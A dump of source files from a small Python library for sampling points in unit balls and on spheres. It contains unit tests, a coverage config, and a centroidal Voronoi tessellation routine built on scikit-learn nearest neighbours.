query_points = samply.ball.uniform(n_validation, D)
nn = neighbors.NearestNeighbors(n_neighbors=1)
nn.fit(points)
sites = nn.kneighbors(query_points, return_distance=False)
counts = np.zeros(n_samples)
coms = np.zeros((n_samples, D))
for i, pt in zip(sites, query_points):
counts[i] += 1
coms[i] += pt
coms /= counts[:, None]
# These centers of mass may not lie on the surface of the sphere,
# but it can be shown that the constrained center of mass will
# be a projection of this point along the surface normal in this
# direction
coms /= np.linalg.norm(coms, axis=1)[:, None]
max_error = np.max(np.linalg.norm(points - coms, axis=1))
msg = "Error ({}) exceeds tolerance {}".format(max_error, self.tolerance)
self.assertLessEqual(max_error, self.tolerance, msg)
if __name__ == "__main__":
unittest.main()
<file_sep># :exclamation: What?
<!--- Describe your changes in detail -->
# :question: Why?
<!--- Explain the context for these changes -->
<file_sep>""" This module will test the functionality of samply.BallSampler
"""
import math
import unittest
import numpy as np
from scipy.stats import kstest, uniform
import samply
class TestBallSampler(unittest.TestCase):
"""Class for testing the Ball sampler"""
def setup(self):
""" """
self.tolerance = 1e-1
def test_2D_uniform(self):
""" """
np.random.seed(0)
samples = samply.ball.uniform(10000, 2)
norms = np.linalg.norm(samples, axis=1)
msg = "At least one sample lies outside of the unit ball"
self.assertLessEqual(np.max(norms), 1, msg)
thetas = np.arctan2(samples[:, 1], samples[:, 0])
thetas /= 2 * math.pi
thetas += 0.5
p = kstest(thetas, uniform.cdf)[1]
msg = "The angles are not representative of a uniform distribution ({})".format(
p
)
self.assertGreaterEqual(p, 0.05, msg)
if __name__ == "__main__":
unittest.main()
<file_sep>import numpy as np
def uniform(count=1, dimensionality=2):
samples = np.zeros((count, dimensionality))
for i in range(count):
X = np.random.normal(0, 1, dimensionality + 2)
X /= np.linalg.norm(X)
samples[i, :] = X[0:dimensionality]
return samples
<file_sep>[run]
branch = True
omit =
samply/tests/*
[paths]
source =
samply/
/Users/runner/work/samply/samply/samply/
/home/runner/work/samply/samply/samply/
D:\a\samply\samply\samply\
<file_sep>import numpy as np
from sklearn import neighbors
def uniform(count=1, dimensionality=2):
if dimensionality == 1:
return np.array([[-1], [1]])
samples = np.zeros((count, dimensionality))
for i in range(count):
X = np.random.normal(0, 1, dimensionality)
X /= np.linalg.norm(X)
samples[i, :] = X
return samples
def cvt(
count=1,
dimensionality=2,
max_iterations=1000000,
epsilon=1e-6,
verbose=False,
update_size=10000,
):
points = uniform(count, dimensionality)
nn = neighbors.NearestNeighbors(n_neighbors=1)
nn.fit(points)
ji = np.ones(count)
error = np.ones(count)
maxErrorId = -1
maxError = 0.0
query_points = uniform(update_size, dimensionality)
sites = nn.kneighbors(query_points, return_distance=False)
for i in range(max_iterations):
if verbose and i % update_size == 0 and i > 0:
print("Iter {} err = {}".format(i, np.sqrt(maxError)))
p = query_points[i % update_size]
closest = sites[i % update_size]
px = np.array(points[closest])
points[closest] = (ji[closest] * px + p) / (ji[closest] + 1)
sumdiff = np.sum(px - points[closest]) ** 2
if i % update_size == 0:
nn.fit(points)
query_points = uniform(update_size, dimensionality)
sites = nn.kneighbors(query_points, return_distance=False)
ji[closest] = ji[closest] + 1
if epsilon > 0:
error[closest] = sumdiff
# Approximation of the max error without the need to
# traverse all of the points
if maxErrorId == closest:
maxError = error[closest]
elif error[closest] > maxError:
maxErrorId = closest
maxError = error[closest]
if maxError < epsilon**2:
if verbose:
print("Converged at {} err = {}".format(i, np.sqrt(maxError)))
break
if verbose:
nn = neighbors.NearestNeighbors(n_neighbors=2)
nn.fit(points)
distances, _ = nn.kneighbors(points, return_distance=True)
maximinDist = np.max(distances[:, 1])
print("maximin distance = {}".format(maximinDist))
return points / np.expand_dims(np.linalg.norm(points, axis=1), axis=1)
| ff7708c808571062bb27aa619cd60b29b0197329 | [
"Markdown",
"Python",
"reStructuredText",
"INI"
] | 17 | Python | maljovec/samply | a84431398130defffb76d088aba69716d036019b | 8c3cf76ba9d27b2497d61319cb0cd286ca5c31a5 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.